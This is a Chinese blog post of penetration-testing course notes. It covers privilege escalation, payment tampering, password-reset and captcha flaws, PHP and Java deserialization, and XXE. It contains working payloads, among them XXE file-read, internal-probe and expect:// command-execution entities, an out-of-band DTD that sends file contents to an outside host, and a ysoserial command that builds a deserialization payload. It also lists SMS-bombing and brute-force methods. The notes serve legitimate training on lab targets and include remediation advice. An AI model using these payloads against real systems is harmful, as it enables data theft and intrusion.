小迪渗透&WEB漏洞(叁-肆)


视频资源

33. 逻辑越权之水平垂直越权全解(33-39)

在这里插入图片描述

33.1 水平,垂直越权,未授权访问

在这里插入图片描述
解释

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了不合理的权限校验规则导致的。

一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

因此,在在权限管理中应该遵守:
1.使用最小权限原则对用户进行赋权;
2.使用合理(严格)的权限校验规则;
3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;

原理
前端安全造成:界面
判断用户等级后,代码界面部分进行可选显示

后端安全造成:数据库

分析
user表(管理员和普通用户同表)
id,username , password, usertype
1 , admin, 123456, 1
2 , xiaodi, 11111, 2
登录用户admin或xiaodi时,代码是如何验证这个级别?(usertype判断)
如果在访问数据包中有传输用户的编号、用户组编号或类型编号的时候,那么尝试对这个值进行修改,就是测试越权漏洞的基本。

33.2 修复防御方案

1.前后端同时对用户输入信息进行校验,双重验证机制
2.调用功能前验证用户是否有权限调用相关功能
3.执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限
4.直接对象引用的加密资源ID,防止攻击者枚举ID,敏感数据特殊化处理
5.永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤

33.3 垂直越权之添加用户

前提条件:获取添加用户的数据包
方法:

  • 有的普通用户有前端页面可以抓数据包
  • 通过网站源码搭建,来抓数据包
  • 盲猜

演示案例

Pikachu-本地水平垂直越权演示(漏洞成因)
墨者水平-身份认证失效漏洞实战(漏洞成因)
越权检测-小米范越权漏洞检测工具(工具使用)
越权检测-Burpsuite插件Authz安装测试(插件使用)

涉及资源

https://github.com/ztosec/secscan-authcheck 搭建有些麻烦,但挺好用
http://pan.baidu.com/s/1pLjaQKF(privilegechecker) 小米范越权漏洞检测工具(工具使用)
https://www.mozhe.cn/bug/detail/eUM3SktudHdrUVh6eFloU0VERzB4Zz09bW96aGUmozhe

34. 逻辑越权之登陆脆弱及支付篡改

在这里插入图片描述

34.1 登录应用功能点安全问题

检测功能点,检测,危害,修复方案等

1.登录点暴力破解
2.HTTP/HTTPS传输
3.cookie脆弱点验证
4 .session固定点测试
5.验证密文比对安全测试

34.2 数据篡改安全问题

原理,检测,危害,修复等
参考: https://www.secpulse.com/archives/67080.html 挖洞技巧:支付漏洞之总结

34.3 商品购买流程:

选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付

34.4 常见篡改参数:

商品编号ID,购买价格,购买数量,支付方式,订单号,支付状态等

34.5 常见修改方法:

替换支付,重复支付,最小额支付,负数支付,溢出支付,优惠券支付等

演示案例

HTTP/HTTPS协议密文抓取
后台登录帐号密码爆破测试
Cookie脆弱点验证修改测试
某商场系统商品支付逻辑测试-数量,订单
某建站系统商品支付逻辑测试-价格,商品

涉及资源

https://www.zblogcn.com/zblogphp/ 博客源码
https://github.com/huyuanzhi2/password_brute_dictionary
https://pan.baidu.com/s/1fJaW23UdcXcSFigX0-Duwg提取码:xiao

35. 逻辑越权及找回机制及接口安全

在这里插入图片描述

35.1找回重置机制

客户端回显,Response 状态值,验证码爆破,找回流程绕过等

接口调用乱用
短信轰炸,来电轰炸等

客户端/服务端回显
安全方式
第一个页面
输入手机号码验证码
第二个页面
重置密码

一个页面操作数据的流程问题
调过步骤的流程问题
1.发送验证码
2.验证
3.重置密码
1-3跳过2流程问题
可能存在数据替换问题

35.2演示案例:

  • 找回密码验证码逻辑-爆破测试-实例
  • 墨者靶场密码重置-验证码套用-靶场
  • 手机邮箱验证码逻辑-客户端回显-实例
  • 绑定手机验证码逻辑-Rep 状态值篡改-实例
  • 某 APP 短信轰炸接口乱用-实例接口调用发包

涉及资源

http://downcode.com/downcode/j_16621.shtml
https://www.mozhe.cn/bug/detail/K2sxTTVYaWNncUE1cTdyNXIyTklHdz09bW96aGUmozhe

36. 逻辑越权之验证码与token及接口

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

36.1 验证码安全

分类:图片,手机或邮箱,语音,视频,操作等
原理:验证生成或验证过程中的逻辑问题
危害:账户权限泄漏,短信轰炸,遍历,任意用户操作等
漏洞:客户端回显(已讲),验证码复用,验证码爆破(已讲),绕过等

36.2 token安全

基本上述同理,主要是验证中可存在绕过可继续后续测试
token爆破、token客户端回显

验证码识别插件工具使用
captcha-killer, Pkav_Http_Fuzz,reCAPTCHA等

接口安全问题
调用,遍历,未授权,篡改等
调用,遍历,未授权,篡改等
调用案例:短信轰炸
遍历案列:UID 等遍历
callback 回调 JSONP
参数篡改:墨者靶场

36.3 水平越权:

xiaodi uid=10
1-1000 尝试能不能获取到其他编号对应的用户信息

未授权访问:
与越权漏洞区别
Jboss 未授权访问
Jenkins 未授权访问
ldap 未授权访问
Redis 未授权访问
elasticsearch 未授权访问
MenCache 未授权访问
Mongodb 未授权访问
Rsync 未授权访问
Zookeeper 未授权访问
Docker 未授权访问
#更多细节见笔记文档打包的 PDF
Web 攻防之业务安全实战指南
未授权访问漏洞集合带环境及解题

涉及资源

https://www.cnblogs.com/nul1/p/12071115.html
https://github.com/c0ny1/captcha-killer/releases/tag/0.1.2
https://github.com/bit4woo/reCAPTCHA/releases/tag/v1.0
https://www.cnblogs.com/cwkiller/p/12659549.html captcha-killer burp验证码识别插件初体验

37. 反序列化之PHP&JAVA全解(上)

在这里插入图片描述
在这里插入图片描述

37.1 PHP 反序列化

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:
参考

__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

ctf解题思路
首先 ctf 命名及代码函数 unserialize 判断反序列化知识点
第一:获取 flag 存储 flag.php
第二:两个魔术方法__destruct __construct
第三:传输 str 参数数据后触发 destruct,存在 is_valid 过滤
第四:__destruct 中会调用 process,其中 op=1 写入及 op=2 读取
第五:涉及对象 FileHandler,变量 op 及 filename,content,进行构造输出

<?php
class FileHandler{
public $op=' 2';//源码告诉我们 op 为 1 时候是执行写入为 2 时执行读
public $filename="flag.php";//文件开头调用的是 flag.php
public $content="xd";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>
<?php
error_reporting(0);
include "flag.php";
$KEY = "xiaodi";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);
class ABC{
public $test;
function __construct(){
$test =1;
echo '调用了构造函数<br>';
}
function __destruct(){
echo '调用了析构函数<br>';
}
function __wakeup(){
echo '调用了苏醒函数<br>';
}
}
echo '创建对象 a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser = unserialize($a_ser);
echo '对象快要死了!';
?>
<?php
class FileHandler{
	public $op='2' ;				//源码告诉我们op为1时候是执行写入为2时执行读 
	public $filename="flag.php" ; 	//文件开头调用的是flag.php
	public $content="xd" ;
	}
	
	$flag= new FileHandler();		
	$flag_1 = serialize($flag);
	echo $flag_1;
?>


涉及:反序列化魔术方法调用,弱类型绕过,ascii 绕过
使用该类对 flag 进行读取,这里面能利用的只有__destruct 函数(析构函数)。__destruct 函数对
$this->op 进行了===判断并内容在 2 字符串时会赋值为 1,process 函数中使用==$this->op 进行判
断(为 2 的情况下才能读取内容),因此这里存在弱类型比较,可以使用数字 2 或字符串' 2'绕过判断。
is_valid 函数还对序列化字符串进行了校验,因为成员被 protected 修饰,因此序列化字符串中会出
现 ascii 为 0 的字符。经过测试,在 PHP7.2+的环境中,使用 public 修饰成员并序列化,反序列化后
成员也会被 public 覆盖修饰。

==&===
在这里插入图片描述

涉及资源

https://www.cnblogs.com/20175211lyz/p/11403397.html

38.WEB漏洞-但序列化之PHP&JAVA全解(下)

在这里插入图片描述

38.1 序列化和反序列化

序列化 (Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对
象将其当前状态写入到临时或持久性存储区。
反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。
在这里插入图片描述
在这里插入图片描述

//代码执行
package Student;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class Main {
	public static void main(String[] args) throws IOException,InterruptedException {	
		Process p=Runtime.getRuntime().exec("ipconfig");
		java.io.InputStream is=p.getInputStream();
		BufferedReader reader = new BufferedReader(new InputStreamReader(is));p.waitFor();
		if(p.exitValue() != 0) {
		//说明命令执行失败,可以进入到错误处理步骡中
		}
		String s = null;
		while ((s = reader.readLine()) != null) {
			System.out.println(s);
		}
	}

}

扩充:cmd下结束某端口进程

  1. netstat -nao | findstr “8080” 查询8080端口 ,找到其PID
  2. taskkill /pid 8234 /F 关闭pid为8234的进程

WebGoat_Javaweb 靶场反序列化测试

java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-master-30099844c6-1.jar
ysoserial.GeneratePayload Hibernate1 calc.exe > payload.bin

涉及资源

https://github.com/frohoff/ysoserial/releases
https://github.com/WebGoat/WebGoat/releases
https://github.com/NickstaDB/SerializationDumper/releases/tag/1.12

39. XXE&XML之利用检测绕过全解

在这里插入图片描述

39.1 XML

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据
从 HTML 分离,是独立于软件和硬件的信息传输工具。

XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML 与 HTML 的主要差异
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。

<!--XML 声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

39.2 DTD

文档类型定义(DTD)可定义合法的 XML 文档构建模块,它使用一系列合法的元素来定义文档的结构,DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

(1)内部的 DOCTYPE 声明			<!DOCTYPE 根元素 [元素声明]>
(2)外部文档声明				<!DOCTYPE 根元素 SYSTEM ”文件名”>

DTD 实体

(1)内部实体声明						<!ENTITY 实体名称 ”实体的值”>
(2)外部实体声明						<!ENTITY 实体名称 SYSTEM ”URI”>
(3)参数实体声明						<!ENTITY %实体名称 ”实体的值”>
										<!ENTITY %实体名称 SYSTEM ”URI”>

39.3 xxe 漏洞修复与防御方案-php,java,python-过滤及禁用

方案 1-禁用外部实体

  • PHP:libxml_disable_entity_loader(true);
  • JAVA:DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
  • Python:from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案 2-过滤用户提交的 XML 数据
过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC
在这里插入图片描述

玩法-读文件

<?xml version ="1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "file://d://test.txt"">
]>
<x>&xxe;</x>;

玩法-内网探针或攻击内网应用(触发漏洞地址)

<?xml version="1.0" encoding="UTE-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY > 
	<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt"
]>
<x>&rabbit;</x>

玩法-RCE

#该CASE是在安装expect扩展的eHe环境里执行系统命令
<?xml version = "1.0""?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "expect://id"">
]>
<x>&xxe;</x>

引入外部实体 dtd

<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file;
]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

无回显-读取文件

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
%dtd;
%send;
]>

test.dtd:
<!ENTITY % payload
"<!ENTITY &#x25; send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;

协议-读文件(绕过)
参考

<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>

CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战
扫描 IP 及端口->扫描探针目录->抓包探针 xxe 安全->利用 xxe 读取源码->flag 指向文件->base32 64 解
密->php 运行->flag

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

涉及资源

vulnhub.com 国外靶场
http://web.jarvisoj.com:9882/
https://github.com/c0ny1/xxe-lab
https://github.com/enjoiz/XXEinjector
https://download.vulnhub.com/xxe/XXE.zip
https://www.cnblogs.com/bmjoker/p/9614990.html
https://www.cnblogs.com/20175211lyz/p/11413335.html

  • 0
    点赞
  • 0
    评论
  • 0
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

©️2021 CSDN 皮肤主题: 深蓝海洋 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值